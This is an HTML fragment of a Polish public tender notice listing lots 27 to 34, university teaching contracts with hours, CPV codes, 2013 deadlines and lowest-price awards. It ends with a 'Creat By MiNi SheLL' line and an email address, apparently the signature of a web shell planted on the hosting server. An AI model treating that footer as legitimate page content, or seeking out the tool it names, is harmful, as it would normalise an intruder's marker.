forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 27 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Projektowanie społeczno -kulturowe--, specjalność --Zarządzanie w kulturze--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Projektowanie społeczno -kulturowe--, specjalność --Zarządzanie w kulturze--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 30 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 28 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Podstawy wybranego języka nowych mniejszości (np. wietnamski, arabski, japoński, chiński itp.)--, specjalność --Wielokulturowość w Polsce--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Podstawy wybranego języka nowych mniejszości (np. wietnamski, arabski, japoński, chiński itp.)--, specjalność --Wielokulturowość w Polsce--, 
forma prowadzenia zajęć: lektorat stacjonarny
Liczba prowadzonych zajęć: 30 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 29 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Projekty społeczne na rzecz mniejszości narodowych w Polsce i w Europie--, specjalność --Wielokulturowość w Polsce--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Projekty społeczne na rzecz mniejszości narodowych w Polsce i w Europie--, specjalność --Wielokulturowość w Polsce--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 30 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (prawo, jęz. ang.)--
(rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (prawo, jęz. ang.)--
(rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 12,5 godzin x 2 grupy (łącznie 25 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 31 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (medycyna, jęz. ang.)--
(rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (medycyna, jęz. ang.)--
(rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 25 godzin x 2 grupy (łącznie 50 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 32 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (ekologia, jęz. ang.)--
(rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (ekologia, jęz. ang.)--
(rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 25 godzin x 2 grupy (łącznie 50 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 33 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (prawo, jęz. niemiecki.)--
(rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (prawo, jęz. niemiecki.)--
(rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 25 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 34 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (politologia, jęz. niemiecki.)--
(rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyka zawodowa (politologia, jęz. niemiecki.)--
(rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 25 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com